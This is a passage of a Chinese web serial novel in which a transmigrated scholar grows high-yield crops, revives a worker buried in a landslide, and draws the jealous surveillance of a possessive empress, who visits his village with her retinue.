所有人都瞪大了眼睛,死死盯着那从土里翻出来的奇迹,忘了呼吸,忘了思考。 咕咚。 不知道是谁,艰难地咽了口唾沫。 顾云舟随手捡起一个,掂了掂,然后扔向人群中的石爷。 “石爷,接住。” 石爷下意识地伸手接住。 那东西入手沉重,表皮粗糙,带着泥土的芬芳。 是真的。 不是幻觉。 老村长呆呆地看着手里的果实,又看了看那被拔开的土坑里,还有更多深埋其中。 他突然扔掉拐杖,像个疯子一样扑到田边,用他那双枯瘦的老手,疯狂地刨着地。 更多!更多! 一窝又一窝的果实被他刨了出来! 他停下了动作,捧着满手的泥土和果实,身体开始剧烈地颤抖。 浑浊的老眼里,有什么东西决堤而出。 他猛地转过身,面向顾云舟,双膝重重地跪了下去。 咚! 一声闷响,他苍老的额头,结结实实地磕在了坚硬的土地上。 “神仙……是神仙老爷下凡了啊!” 他用尽全身力气,嘶吼出声,声音里带着哭腔和无限的狂热。 “是粮神!粮神在世啊!” 这一声,如同惊雷,炸醒了所有失魂落魄的村民。 他们看着田里堆积如山的收获,看着那个白衣胜雪的身影。 恐惧,敬畏,狂喜,种种情绪交织在一起,最终汇成了一股最原始的信仰洪流。 扑通!扑通!扑通! 成百上千的村民,如同被风吹倒的麦浪,齐刷刷地跪了下去。 他们学着石爷的样子,用最虔诚的姿态,将额头贴近这片养育他们的土地。 “拜见粮神!” “粮神老爷千岁千岁千千岁!” (写到这的时候我自己都没绷住....) 山呼海啸般的呐喊,震得地皮都在发麻。 李源站在原地,手脚冰凉,浑身僵硬。 他读圣贤书,学治国理政,他以为天下人心,靠的是教化,是律法,是皇权。 可眼前的这一幕,彻底颠覆了他的认知。 没有刀剑,没有官印,甚至没有一句多余的言语。 仅仅是让人们吃饱肚子的希望。 就足以让数千人俯首,献上他们的信仰与忠诚。 这……才是真正的力量。 在远处山坡上,一名负责监视的凤卫队长,死死地握着腰间的刀柄,指节因为用力而发白。 她看着那片被人群簇拥的白色身影,看着那山呼海啸般的叩拜。 她忽然觉得,陛下在神京打造的那个金丝鸟笼,好像……有点困不住这条真龙了。 这天晚上,整个云梦泽都变成了欢乐的海洋。 巨大的篝火在空地上燃起,将半边天都映得通红。 没有精致的菜肴,也没有美酒。 只有烤的,煮的,捣成泥的。 一个虎头虎脑的半大孩子,从火堆里扒拉出一个烤得焦黄的“仙粮”,烫得他龇牙咧嘴,却又舍不得松手。 他吹了两口气,就迫不及待地咬了一大口。 绵软,香甜,带着一股朴实的焦香。 好吃! 太好吃了! 孩子一边狼吞虎咽,一边流下了眼泪,也不知是烫的,还是幸福的。 所有的村民,无论男女老少,都在埋头大吃。他们吃得满嘴是油,满脸是笑,不少人吃着吃着,就抱着那能填饱肚子的“神物”嚎啕大哭。 这是吃饱的幸福。 这是活下去的希望。 顾云舟没有吃。 他静静地坐在篝火旁,火光在他脸上跳跃,映出一片平静的阴影。 他看着那些欢呼的人群,看着那些最质朴的笑脸和泪水。 他知道,从今天起,他在这片土地上,就拥有了第一批真正属于自己的东西。 这不是女帝赏的,不是系统给的。 这是他亲手种出来的。 是刀剑夺不走,皇权也压不垮的,人心。 李源脚步虚浮地走了过来,他手里拿着一张刚刚写好的草稿,上面全是密密麻麻的数字和计算公式。 他的脸色,一半是狂喜,一半是惊恐。 “先生……”他走到顾云舟身边,声音都在发颤。 顾云舟抬眼看他。 李源用力地咽了口唾沫,将手里的草稿递了过去。 “先生,我……我粗略算了一下亩产。” 他的声音压得极低,仿佛在说什么惊天大秘密。 “如果……如果按照今天这个收成来算,一亩‘仙粮’,足以让五口之家,吃上整整一年,还有富余。” 说到这里,李源的呼吸都变得急促起来,眼神中透出一种极致的恐惧。 “先生,这……这不是粮食啊。” “这是能让天下所有人都填饱肚子的力量。” “这股力量,足以……足以……” 他不敢再说下去。 足以让无数流民揭竿而起,足以让任何一个野心家,在半年之内,拉起一支不愁粮草的百万大军。 足以,改朝换代。 顾云舟没有接那张纸。 他只是平静地看着眼前的篝火,随手从地上捡起一根烧黑的树枝。 他在松软的泥地上,轻轻画了一个圈。 然后,他又在这个圈的外面,画了一个更大,更完整的圈。 他看着地上的两个圆圈,一个在里,一个在外。 (晚上还有一张哈,谢谢大家的礼物和喜欢(ˉ▽ ̄~) ) 第八十五章 沼泽惊变 云梦泽的建设热情,比盛夏的日头还要毒辣。 数千名工匠和昔日的村民,被“分房分地加吃肉”的口号激励得双眼通红,恨不得一天干出三天的活。 整个云梦泽,就是一座高速运转的巨大工地,尘土飞扬,号子震天。 李源作为新上任的县令,也是这里的总工头,每天忙得脚不沾地。他看着沼泽被一寸寸排干,看着规划图上的房屋地基一个个被夯实,心中充满了与有荣焉的自豪感。 先生的蓝图,正在他手中变成现实! 今天,工程进行到了最关键的一步。 排干核心区最大的一片沼泽“死龙潭”。只要拿下这里,整个水利工程的主体就算完成了。 工地上,上百名最精壮的汉子赤着膊,古铜色的肌肉在阳光下闪闪发光。他们挥舞着铁锹,将最后一片区域的淤泥和积水导入新开的沟渠。 气氛热烈而紧张。 突然,毫无征兆地,一声沉闷如雷的巨响从地底传来。 轰隆! 所有人脚下一晃,仿佛大地深处有巨兽翻身。 紧接着,刚刚还算坚实的沼泽侧壁,那道由泥土和石块构筑的临时堤坝,像是被一只无形巨手猛地推了一把,瞬间崩裂! “塌方了!” 不知是谁发出了一声绝望的尖叫。 数以百吨计的湿滑泥土和碎石,裹挟着巨大的力量,如同一道黄色的瀑布,轰然倒塌,瞬间就将正在下方作业的十几个汉子吞没。 刚才还热火朝天的工地,刹那间死寂。 下一秒,撕心裂肺的哭喊声和尖叫声,冲破了云霄。 “快救人啊!” “我爹还在下面!” “铁牛!铁牛!” 整个工地彻底乱了套。人们像没头的苍蝇,哭喊着冲向塌方区,用手、用木棍、用残破的铁锹,疯狂地刨着那堆积如山的泥石。 李源闻讯赶来,看到眼前这地狱般的景象,一张脸瞬间血色尽失。 “快!都他娘的别愣着!刨!用手刨!快把人救出来!”他急得双眼赤红,声音都变了调。 可他的命令,除了让现场变得更加混乱,毫无用处。盲目的挖掘,不仅效率低下,甚至还引发了几次小规模的二次塌方,让救援变得更加危险。 就在所有人陷入绝望和疯狂之际,一道冰冷而沉稳的声音,如同利剑般劈开了所有的嘈杂。 “都给我住手!” 顾云舟拨开人群,大步走了过来。 他脸色阴沉,目光锐利如刀,扫过全场。 那股与生俱来的威严,让所有混乱的动作都为之一顿。哭喊声都弱了下去。 “想让他们被活活压死吗?”他冷冷地问道。 众人一哆嗦,下意识地停下了手中的动作。 “李源!” “先生!学生在!”李源像是找到了主心骨,连滚带爬地跑到他面前。 顾云舟看都没看他,语速极快地发布指令,声音不大,却清晰地传到每个人耳朵里。 “所有壮劳力,立刻分成两队!一队,去砍木头,用木板和木桩,把塌方边缘给我死死顶住!防止它再塌!” “另一队,跟我来!从侧面挖!记住,挖出一个斜坡,用木板垫着,一点一点往里清!不准再从上面动一铲土!” “别哭了!立刻去烧热水!越多越好!再去找烈酒,把所有干净的布条都拿来!快去!” 一连串清晰、果断、不容置疑的命令,像一剂强心针,瞬间注入了这群六神无主的人心中。 混乱的场面,奇迹般地恢复了秩序。 人们不再哭喊,不再盲动。他们按照顾云舟的指令,迅速行动起来。砍树的砍树,支撑的支撑,挖掘的挖掘。 一个高效而科学的救援体系,在短短几十个呼吸间,就已成型。 李源目瞪口呆地看着这一切。他看着先生沉着冷静地指挥着人群,看着那些原本慌乱的村民在他的命令下变得井然有序。 他第一次深刻地意识到,自己和先生之间的差距,究竟有多大。 那不是学识的差距,而是一种……面对天崩地裂,依然能掌控一切的恐怖力量。 远处的山坡上,赤羽和几名凤卫静静地站着。 她看着那个白衣身影在泥泞和混乱中穿梭,看着他用最简单的话语,将一群乌合之众变成了令行禁止的军队。 她的眼神,第一次出现了些许波动。 救援紧张而有序地进行着。 “挖到了!是张三的腿!” “快!小心点!把上面的土清开!” 一个又一个被埋的工匠被抬了出来。有的断了胳膊,有的断了腿,个个浑身是血,但幸运的是,都还有一口气。 顾云舟立刻让人将他们抬到一旁的空地,指挥妇人们用烈酒清洗伤口,用干净的布条进行简单包扎。 他的每一个步骤,都显得那么熟练,仿佛演练过千百遍。 终于,最后一个失踪者也被挖了出来。 是张铁牛。村里最壮实的汉子之一。 可他此刻的样子,凄惨无比。半边身子都被泥石压得变了形,胸口塌陷下去一块,脸上青紫,嘴里塞满了泥浆。 一个胆大的村民伸手探了探他的鼻息,又摸了摸他的脖子。 随即,那村民的手像触电般缩了回来,脸上满是绝望。 “没……没气了……” “心跳也没了……” 轰! 张铁牛的婆娘闻言,两眼一翻,直接晕了过去。现场刚刚燃起的一丝希望,瞬间被浇灭。 所有人都沉默了,空气中弥漫着悲伤。 人死不能复生。 就在这时,顾云舟却大步流星地冲了过去,一把推开围在尸体旁的人。 “都让开!” 他毫不嫌弃地跪在满是泥水的地上,伸手掰开张铁牛的嘴,用手指将里面的泥浆和血块一点点抠了出来。 所有人都看傻了。 侯爷……这是要做什么? 李源也看不懂,但他没敢问,只是死死盯着先生的每一个动作。 清空了口腔后,顾云舟让李源过来在他耳边悄悄说了些什么。 顾云舟说完就看到李源已经面红耳赤了起来,结结巴巴的说不出口。 啊?...我吗? 啊什么去啊,顾云舟踹了一脚李源的屁股。 李源看了一眼地上的铁牛,在看了看顾云舟,磨磨蹭蹭的蹲在了铁牛面前。 下一刻。 整个世界,仿佛在这一刻被按下了静音键。 所有人都石化了。 他们看到了什么? 李县令,竟然……竟然亲吻一个死人?一个身份卑贱的泥腿子? 这……这简直是闻所未闻的惊天骇事! 赤羽的瞳孔猛地一缩 她体内的凤卫本能,让她想立刻冲上去,阻止这种有辱斯文、甚至可以说是“下贱”的行为。 可她的脚,却像是被钉在了原地,动弹不得。 因为她看到了顾云舟的眼神。 那双眼睛里,没有怜悯,没有作秀,更没有半点嫌恶。 李源吹完两口气后,顾云舟立刻将交叠的双手按在张铁牛塌陷的胸口正中。 他以一个标准的姿势,用尽全身力气,猛地向下按压! 一下,两下,三下…… 他一边按,一边在心里默数。 动作标准,节奏稳定,仿佛一台不知疲倦的机器。 汗水顺着他的额角滑落,滴进泥水里,但他浑然不觉。 时间一分一秒地过去。 现场死一般的寂静。只有顾云舟沉重的喘息声,和那“砰、砰、砰”的胸口按压声。 所有人的心,都提到了嗓子眼。 李源又进行了一轮人工呼吸后,顾云舟再次开始按压。 他的额头青筋暴起,手臂已经开始微微颤抖。 就在所有人都觉得希望渺茫,张铁牛已经死透了的时候。 奇迹,发生了。 “咳!咳咳咳!” (做法正不正确咱没搜到,就用落水后的救法了。) 那个已经没了呼吸和心跳的“死人”,胸膛猛地起伏了一下,随即剧烈地咳嗽起来,大口大口的泥水和血沫从他嘴里喷涌而出! 他的眼皮,颤抖着,缓缓睁开了一条缝。 “……?” 整个工地,在经历了长达数秒的死寂之后,爆发出了雷鸣般的欢呼! “活了!活了!!” “铁牛活过来了!侯爷把他救活了!” “我的天哪!神仙!侯爷和李县令是能起死回生的真神仙啊!” 张铁牛的婆娘悠悠转醒,看到丈夫睁开了眼,先是一愣,随即嚎啕大哭,一边哭一边对着顾云舟和李源的方向拼命磕头。 扑通!扑通! 这一次,不再需要任何人带头。 现场所有获救的工匠,所有的村民,包括那些刚刚还对顾云舟和李源的行为感到惊骇的人,全都齐刷刷地跪了下去。 他们的眼神里,不再仅仅是敬畏和崇拜。 而是一种……看到了神迹的狂热! 如果说,种出仙粮,是“粮神”赐予他们活下去的希望。 那么此刻,起死回生,就是“医神”掌握着他们的生命! 顾云舟和李源累得脱力,一屁股坐在泥地里,大口大口地喘着粗气。 他看着眼前山呼海啸般跪拜的人群,看着他们眼中那近乎癫狂的信仰之火,心里却没有半分喜悦。 他知道,自己在这座名为云梦泽的囚笼里,又多了一件最锋利的武器。 一件,能让囚笼本身都为之颤抖的武器。 山坡上,赤羽的手,缓缓从刀柄上松开。 她看着那个坐在泥地里,白衣上沾满血污,却被万民当做神明一样叩拜的身影。 想起了陛下那志在必得的、温柔而偏执的眼神。 一阵微风吹过,带着泥土的腥气。 赤羽清冷的面容上,第一次,流露出一丝难以言喻的复杂情绪。 她忽然觉得,自己之前对陛下的劝谏,还是太天真了。 她以为这是一场休克疗法,能让先生认清现实。 可现在看来,被休克的,恐怕不是先生。 而是……陛下自以为是的掌控欲。 (言谢无力,四更致谢,谢谢大家的支持(灬oωo灬)) 第八十六章 陛下的棋盘 神京,御书房。 烛火摇曳,将堆积如山的奏折影子拉得又细又长。 萧青鸾指尖轻点,划过一份来自云梦泽的加急奏报。那上面,李源的字迹激动到几乎要飞出纸面,每一个笔画都充满了对“先生”神仙手段的狂热吹捧。 “……侯爷以一人之力,统筹万人,调度有方,令行禁止,三日之内,竟将死龙潭之险化为通途!其智,鬼神莫测!” “……张铁牛死而复生,万民叩拜,皆称侯爷为在世医神。臣亲眼所见,且在旁相助,绝无虚言!云梦泽上下,民心已定,皆视侯爷为再生父母!” 奏报的字里行间,一个运筹帷幄,点石成金,甚至能执掌生死的完美形象跃然纸上。 萧青鸾的嘴角,勾起一抹骄傲又满足的弧度。 看,这就是她的先生。 只要给他一片天地,他就能创造出让整个天下都为之震撼的奇迹。 而这片天地,是她给的。 她又拿起另一份由凤卫队长赤羽呈上的密报。这份报告就乏味多了,字迹清冷工整,内容更是枯燥。 “卯时,目标起床,于庭院习练五禽戏。” “辰时,目标巡视工地,未与任何人私下交谈。” “午时,目标与李源共进午餐,商讨水利图纸。” “……” 日复一日,全是这些流水账。 但在萧青鸾眼中,这流水账比李源那封热情洋溢的赞美诗,更让她心安。 这说明什么? 说明先生他……认命了。 他不再想着逃跑,不再抗拒她给的爱。他终于明白了,只有在她亲手打造的这个笼……不,是这个家里,他才能无所顾忌地施展才华,才能得到最周全的保护。 他们正在一起,建造一个只属于他们两个人的,干净的,完美的家。 一想到这里,萧青鸾的心就像被温热的蜜糖填满,甜得发腻。 “陛下。” 一个沉稳的声音打断了她的思绪。 新任御史中丞苏长青躬身而立,神情严肃,眉宇间带着一丝化不开的忧虑。 “陛下,臣有本奏。关于云梦泽……” “苏爱卿,”萧青鸾放下奏报,笑意盈盈地看着他,“是想说,朕给先生的赏赐,太多了?” 苏长青硬着头皮道:“陛下,国库空虚,百废待兴。云梦泽一地,月前已调拨了工部三成的工匠与内库两成的存银。如今又要将秋税的一半尽数拨付……这……这于国法不合,恐引朝野非议啊!” 萧青鸾脸上的笑容未减,但眼神却冷了下来。 “非议?”她轻轻一笑,声音里带着不容置疑的威严,“谁敢非议?” “先生之功,足以安天下。先生之才,足以定社稷。朕用区区半数秋税,为先生建一座世外桃源,换大炎未来百年的风调雨顺,难道不值吗?” 她的声音不大,却字字千钧,砸得苏长青心头一颤。 他看着御座上那位年轻的女帝,看着她眼中那近乎狂热的光芒,一股寒意从脊背升起。 那不是在商讨国事。 那是一种……不容任何人质疑的宣告。 “朕意已决。”萧青鸾站起身,走到苏长青面前,语气忽然又变得温柔起来,像是在分享一个秘密。 “苏爱卿,你不懂。先生他啊,就像最名贵的珍宝,必须用最华美的盒子来装。朕要让他知道,他想要的一切,朕都能给他。 他所有的抱负,只有在朕的羽翼之下,才能实现。” 她顿了顿,眼中闪过一丝奇异的光彩。 “传朕旨意。除了钱粮工匠,再从教坊司里,精挑三百名最擅歌舞的伶人,一并送去云梦泽。先生的桃源里,怎么能没有仙乐呢?” “再挑五百名十六岁以下的宫女,要最乖巧最漂亮的,一并送去,伺候先生的饮食起居。” 苏长青的脸色瞬间变得惨白。 他猛地抬头,失声道:“陛下,万万不可!帝师他……他不是耽于享乐之人!您这么做,是在……是在羞辱他!” “羞辱?” 萧青鸾脸上的笑容,终于彻底消失了。 她静静地看着苏长青,那眼神,像是在看一个不懂事的孩子。 “苏爱卿,你还是不懂。” “朕不是在赏赐他,也不是在羞辱他。” “朕是在告诉他,他的一切,包括他的喜好,他的欲望,都由朕来定义。” “他喜不喜欢,不重要。朕喜欢,就够了。” 苏长青如遭雷击,踉跄着后退一步,嘴唇哆嗦着,一个字也说不出来。 疯了。 陛下她,真的疯了。 …… 深夜,万籁俱寂。 萧青鸾批完了最后一本奏折,揉了揉酸胀的眉心。 一道黑影,如鬼魅般无声无息地出现在书房的角落里。 是玄鸟。 “陛下。” 玄鸟的声音嘶哑,像是两块生锈的铁片在摩擦。 萧青鸾没有抬头,只是淡淡地“嗯”了一声。 玄鸟递上一卷小小的竹管。 这是最高等级的密报,凌驾于凤卫的常规报告之上,只有玄鸟能直接呈递。 萧青鸾打开竹管,抽出一张薄如蝉翼的纸条。 纸上的字不多,但每一个字,都像一根冰冷的针,扎进她的眼睛里。 “……赤羽曾三次于深夜私会目标,最长一次,达半个时辰。” “……琴女灵儿被废后,目标曾独坐月下,抚琴至天明,曲有哀意。” 御书房内,死一般的寂静。 方才还满心甜蜜的暖意,瞬间被抽干,只剩下冰冷的寒气在四肢百骸里蔓延。 赤羽。 那个她最信任的,负责看守囚笼的凤卫队长。 私会? 她竟敢! 还有那个叫灵儿的琴女……先生竟会为了一个下人,抚琴哀悼? 萧青鸾握着纸条的手,指节因为用力而寸寸发白。 她脸上的表情没有变,依旧平静,但那双漂亮的凤眸里,温柔的光芒正在一点点褪去,沉淀为一片幽深危险的墨色。 她缓缓地,将那张纸条凑到烛火上。 火苗舔舐着纸张,将其化为一缕黑色的灰烬。 做完这一切,她拿起御案上那支她最喜欢的,专门用来批阅奏折的朱砂笔。 她没有蘸墨,笔尖上还残留着鲜红的朱砂。 她取过一张空白的宣纸,铺在桌上,手腕悬空,沉默了许久。 然后,她落笔了。 笔锋沉稳,力道均匀,没有半分颤抖。 一个字,缓缓成型。 鸟。 一个被工整地写在宣纸正中央的,鲜红如血的“鸟”字。 她看着那个字,眼神幽深,像一口看不见底的古井。 原来,笼子关久了,里面的鸟儿,还是会和外面的鸟儿,眉来眼去啊。 是笼子不够漂亮? 还是……该剪掉它的翅膀了? 第八十七章 少女的汗巾 秋日的风,带着一丝凉意,却吹不散云梦泽土地上那股燎天的大火。 不是真火,是人心里的火。 石滩村外,那片被顾云舟圈出来的试验田,此刻已经成了整个云梦泽的圣地。 “出……出土了!” 一个汉子噗通一声跪在田垄上,双手颤抖着,像是捧着什么绝世珍宝,从刚翻开的泥土里,刨出了一串圆滚滚的东西。 他旁边的婆娘一屁股坐在地上,使劲揉着眼睛,嘴里翻来覆去就一句话:“我的老天爷……我的老天爷……” 越来越多的人围了上来,他们死死盯着那从地里不断被翻出来的东西。 “仙粮一号”,顾云舟管它叫土豆。 个头不大,但一窝一窝的,像是地里藏着的老母鸡,一刨就出来一串崽。 另一边,“仙粮二号”的田里,更是惊掉了所有人的下巴。 一人多高的秸秆上,挂着一根根沉甸甸,包裹着厚厚绿皮,还长着长长胡须的棒子。 李源作为新上任的云梦泽县令,此刻正带着几个衙役,拿着算盘和纸笔,哆哆嗦嗦地现场计产。 他每拨一下算盘珠子,心肝就跟着颤一下。 “侯……侯爷……这……这仙粮一号,一亩地产出……三……三十石!” “轰!” 人群炸了。 三十石是什么概念?大炎最好的上田,风调雨顺的年景,一亩地能收三石麦子,那都得是祖坟冒青烟了。 三十石,那是他们做梦都不敢想的数字。 “那……那个二号呢?”村长石爷声音都变了调。 李源吞了口唾沫,看向另一边,嗓子眼发干:“那个……剥出来的金黄粒子,亩产……预估……不低于二十五石!” 寂静。 死一般的寂静。 所有人都像是被掐住了脖子的鸡,张着嘴,发不出半点声音。 他们看着那堆积成一座小山的土豆,看着那边码放得整整齐齐的玉米棒子,脑子彻底成了一锅浆糊。 这不是粮食。 这是神迹啊。 顾云舟就站在田埂上,白衣胜雪,神色平静。 “石爷。”顾云舟开口,声音不大,却清晰地传到每个人耳朵里。 “侯……侯爷……小老儿在!”石爷一个激灵,连滚带爬地跑到顾云舟面前,直接跪了下去。 “所有收成,分发给参与开荒耕种的各家各户。” 石爷猛地抬头,不敢相信自己的耳朵。 顾云舟笑了笑,继续说道:“另外,传我侯令。自今日起,云梦泽全境,一年之内,免除一切赋税。” 人群中,一个老妇人再也撑不住,嚎啕大哭起来,一边哭一边朝着顾云舟的方向磕头。 一个哭,就带动了一片。 最后,黑压压的人群,无论男女老少,全都跪了下去,额头死死贴着地面。 “青天大老爷啊!” “叩谢青天大老爷赐粮!” 山呼海啸般的叩拜声,震得地皮都在发麻。 李源站在顾云舟身后,看着眼前这副万民俯首的景象,再看看自己老师那平静淡然的侧脸,一股寒气混杂着极致的崇拜,从脚底板直冲天灵盖。 他终于明白老师那天说的话了。 皇权,刀剑,都比不过四个字。 让人吃饱饭。 当晚,整个石滩村都疯了。 村子中央的空地上,燃起了十几堆巨大的篝火。 一口口大锅架在火上,里面煮着刚出土的土豆。不用任何调料,那股最原始的香气就足以让人发狂。 村民们将最好最大的土豆用泥巴裹住,扔进篝火的炭灰里烤。等扒出来的时候,外壳焦黑,内里却滚烫绵软,香甜无比。 顾云舟被村民们簇拥着,坐在最中央的主位上。 一张张朴实的脸,因为激动而涨得通红,他们端着自家酿的劣质米酒,排着队来给他们的“粮神爷”敬酒。 “侯爷!俺嘴笨不会说话!俺敬您!俺干了!”一个黑脸汉子仰头就把一碗酒灌了下去。 “侯爷,您就是俺们的再生父母!这碗酒您一定要喝!” 顾云舟来者不拒,脸上带着温和的笑意。 他确实高兴。 这让他有种自己还活着的真实感。 酒过三巡,饶是顾云舟酒量不错,脸上也泛起了红晕,额头微微见了汗。 人群的角落里,一个十六七岁的少女,端着一盆清水,盆边搭着一块干净的布巾,犹豫了许久。 是石爷的女儿,翠儿。 她看着那位被众人环绕的白衣先生,看着他温和的笑容,看着他额角的汗珠在火光下闪闪发亮。 她的脸颊比天边的晚霞还要红。 她爹的命,是先生救的。她弟弟的命,也是先生救的。现在,整个村子,整个云梦泽的人,都靠着先生活命。 她咬了咬嘴唇,像是用尽了全身的力气,端着水盆,低着头,一步步穿过喧闹的人群,走到了顾云舟面前。 周围的吵嚷声,似乎一下子小了许多。 所有人都看着这个村里最水灵的姑娘。 “先……先生……” 翠儿的声音细得像蚊子叫,头埋得更低了,几乎要戳进胸口里去,“您……您辛苦了,擦擦汗吧。” 顾云舟微微一怔,随即笑了。 他看着眼前这个羞得快要哭出来的姑娘,那份纯粹的善意让他心里一暖。 “好,多谢你了。” 他温声说着,伸手接过了那块还带着少女体温的干净布巾。 宴会的气氛,因为这个小插曲,变得更加热烈。 村民们善意地哄笑着,有人开始起哄,说翠儿长大了,知道心疼人了。 翠儿的脸更红了,放下水盆,转身就跑进了夜色里。 顾云舟笑着摇了摇头,浑然未觉。 他身侧不远处,一直像个影子般沉默肃立的赤羽,将这一切都看在眼里。 她冷若冰霜的脸上没有任何表情,只是腰间佩戴的一块毫不起眼的黑色玉佩,在此刻,正无声无息地闪烁着一丝微弱的幽光。 她看着顾云舟那毫无防备的笑容,眼神深处,闪过一丝几不可察的……怜悯。 …… 千里之外,神京,皇宫深处。 一间密不透风的殿宇内,没有点一盏灯。 唯一的光源,来自悬浮在半空中的一面巨大的圆形铜镜。 (这里系统已经背刺了哦) 镜面光滑如水,此刻正清晰地映照出云梦泽那篝火冲天,热闹非凡的庆功宴。 镜子前,萧青鸾穿着一身宽松的寝衣,绝美的脸上,带着一丝满足而甜蜜的微笑。 她喜欢看这个。 看她的先生,在她的“桃源”里,过着安逸富足的生活。 看那些愚昧的村民,像信奉神明一样信奉他。 这一切,都是她给的。 他是她的。 连他享受的荣光,都必须打上她的烙印。 镜中的画面,恰好定格在翠儿端着水盆,羞涩地走到顾云舟面前的那一刻。 萧青鸾嘴角的笑意,微微一顿。 她看着那个陌生的,年轻的,脸颊绯红的乡下丫头。 她看着她递上那块刺眼的布巾。 她看着她的先生,微笑着,接了过去。 笑容,从萧青鸾的脸上,一寸寸地凝固。 殿宇内的空气,仿佛在这一瞬间被抽空,温度骤然下降。 她死死地盯着镜子里,顾云舟用那块布巾擦汗的动作。 那个丫头碰过的东西…… 他竟然用了。 他怎么敢? 他怎么可以? 萧青鸾端在手中的那只名贵的汝窑天青釉茶杯,发出了不堪重负的,细微的“咔嚓”声。 裂纹,从她白皙的指节下,迅速蔓延开来。 她脸上的表情没有变,依旧是那副平静的样子。 但那双倒映着镜中火光的凤眸里,原本甜蜜的占有欲,正被一种漆黑如墨的嫉妒,疯狂吞噬。 啪! 一声脆响。 在死寂的殿宇内,显得格外刺耳。 那只价值连城的茶杯,被她硬生生捏成了碎片。 滚烫的茶水混着殷红的血,顺着她的指缝,一滴滴,落在光洁如镜的地板上。 她却像是感觉不到任何疼痛。 只是静静地,死死地,盯着镜子里,那个依旧在对别人微笑的男人。 云梦泽的宴会上,赤羽收回了目光。 她腰间的玉佩,已经停止了闪烁。 她看了一眼还在与民同乐,对即将到来的风暴一无所知的顾云舟。 可怜的先生。 你以为你驯服的是一只金丝雀。 却不知道,你亲手喂养大的,是一条在你看不见的地方,已经悄然苏醒的,会用整个天下当做囚笼的……疯龙。 (下一章翠儿会死大家能接受吗,不能接受的话我只能写其他剧情了) 第八十八章 亲临 庆功宴的篝火燃尽时,天边已经泛起了鱼肚白。 顾云舟回到自己那间被村民们收拾得焕然一新的石屋,脑子里却还回响着昨夜的喧嚣和翠儿那张涨红的脸。 他不是木头,当然看得出那小姑娘眼里的光。 可也正因为不是木头,他心里才咯噔了一下。 那丫头递过来的布巾,他接了,也用了。在当时那种全村狂欢的气氛里,拒绝一个十六岁小姑娘最淳朴的善意,太伤人,也太刻意。 但千里之外,还有个拿着放大镜在看他的人。 顾云舟揉了揉眉心,试图把那张平静中藏着疯狂的脸从脑海里甩出去。 应该……不至于吧? 她现在是女帝了,日理万机,哪有空天天盯着他这片鸟不拉屎的云梦泽?再说了,自己表现得足够顺从,囚笼也改造成了根据地,她应该满意了才对。 是自己多心了。 他这么安慰着自己,躺在硬邦邦的木板床上,沉沉睡去。 然而,他终究还是低估了一个病娇的好胜心,以及一个女人的嫉妒心。 第二天,太阳才刚爬上山头,整个云梦泽就被一阵惊天动地的马蹄声和整齐划一的脚步声给震醒了。 “敌袭!” 瞭望塔上,一个刚换岗的民兵发出了声嘶力竭的尖叫。 刚走出屋门的李源,手里还端着一碗稀粥,闻声手一抖,热粥洒了一半。他连滚带爬地冲上一个土坡,朝着声音传来的方向望去,整个人瞬间僵在了原地。 只见东边的地平线上,出现了一道长得望不到头的洪流。 那不是敌军。 那是比敌军更让人头皮发麻的东西。 明黄色的龙凤旗帜遮天蔽日,数千名身着金甲的禁军,簇拥着一架极尽奢华的九龙沉香辇,正以一种不容置疑的威严,缓缓向石滩村压过来。 天子仪仗。 是她来了。 “我靠……”李源腿一软,差点没跪下去,“陛下……陛下怎么来了?!” 没有圣旨,没有预兆,就这么直接空降了? 顾云舟也被惊醒,他披上外衣走出石屋,只看了一眼,心脏就猛地一沉。 完了。 昨晚那点侥幸心理,被这支绵延数里的仪仗队碾得粉碎。 他深吸一口气,压下心头那股不祥的预感,脸上迅速换上了一副恰到好处的惊喜与惶恐。 “李源,愣着干什么!”他低喝一声,“召集所有官吏村民,准备接驾!” 一时间,整个石滩村鸡飞狗跳。 半刻钟后,当那顶华丽到刺眼的龙辇停在村口时,顾云舟已经带着李源和一众惊慌失措的村民,黑压压地跪了一地。 “臣,云梦侯顾云舟,恭迎陛下!陛下万岁万岁万万岁!” “吾皇万岁万岁万万岁!” 山呼海啸般的声音里,带着压抑不住的颤抖。 龙辇的珠帘被一只纤纤玉手轻轻掀开,萧青鸾穿着一身素雅的常服,莲步轻移,走了下来。 她没穿那身威严的龙袍,脸上挂着温和得能融化冰雪的笑容,仿佛不是来巡视的君王,而是回乡探亲的邻家小妹。 “先生快快请起。” 她亲自上前,双手扶住了顾云舟的胳膊,动作轻柔,语气亲昵,找不出一丝一毫的毛病。 顾云舟顺势起身,低着头,恭敬道:“陛下亲临,臣未能远迎,罪该万死。” “先生这是说的哪里话。”萧青鸾的笑意更浓了,“朕听闻云梦泽仙粮大丰收,特意来看看。先生为我大炎立下如此不世之功,朕心甚慰,又怎会怪罪?” 她的声音不大,却清晰地传到了每一个人的耳朵里。 村民们闻言,心中的恐惧顿时消散大半,取而代之的是与有荣焉的激动。 顾云舟心里却是一片冰凉。 太完美了。 她的一言一行,一颦一笑,都像是用尺子量过一样,完美得符合一个亲民爱才的圣君形象。 可他比谁都清楚,这具完美躯壳里住着的,是怎样一个偏执的灵魂。 她越是这样,就越说明,那条疯龙,已经把爪子磨得锋利无比了。 接下来的巡视,更是将这场“君臣相得”的戏码演到了极致。 萧青鸾在顾云舟的陪同下,亲自走进了那片创造了神迹的试验田。她捻起一撮泥土,看着那些刚收割完的土豆藤和玉米秆,眼中满是赞许。 “亩产三十石,先生之功,当载入史册。”她回头,看着顾云舟,目光灼灼,“朕要让全天下的百姓,都记住先生的恩德。” 顾云舟心中警铃大作,面上却只能露出感动的神色:“此皆陛下洪福齐天,臣不敢居功。” “先生又谦虚了。”萧青鸾莞尔一笑,那笑容纯真得像个不谙世事的少女。 就在这时,她像是突然想起了什么,目光在跪了一地,连头都不敢抬的村民里扫了一圈。 “昨日听李县令的奏报说,云梦泽有一位叫翠儿的姑娘,心灵手巧,将先生的起居照顾得无微不至?” 人群中,一个身影猛地一颤。 石爷和他女儿翠儿,脸瞬间变得煞白。 顾云舟的心,彻底沉到了谷底。 来了。 “让她上前来,朕要见见。”萧青鸾的声音依旧温和。 翠儿在父亲的推搡下,哆哆嗦嗦地爬了出来,跪行到女帝面前,浑身抖得像风中的落叶。 “民……民女翠儿,叩见陛下……” “抬起头来。” 翠儿战战兢兢地抬起头,露出一张被吓得毫无血色的小脸。 萧青鸾仔细地打量着她,脸上的笑容不变,甚至还拉起了她的手,亲切地拍了拍。 “果然是个好孩子。”她温声道,“先生乃国之栋梁,你替朕照顾好先生,便是大功一件。” 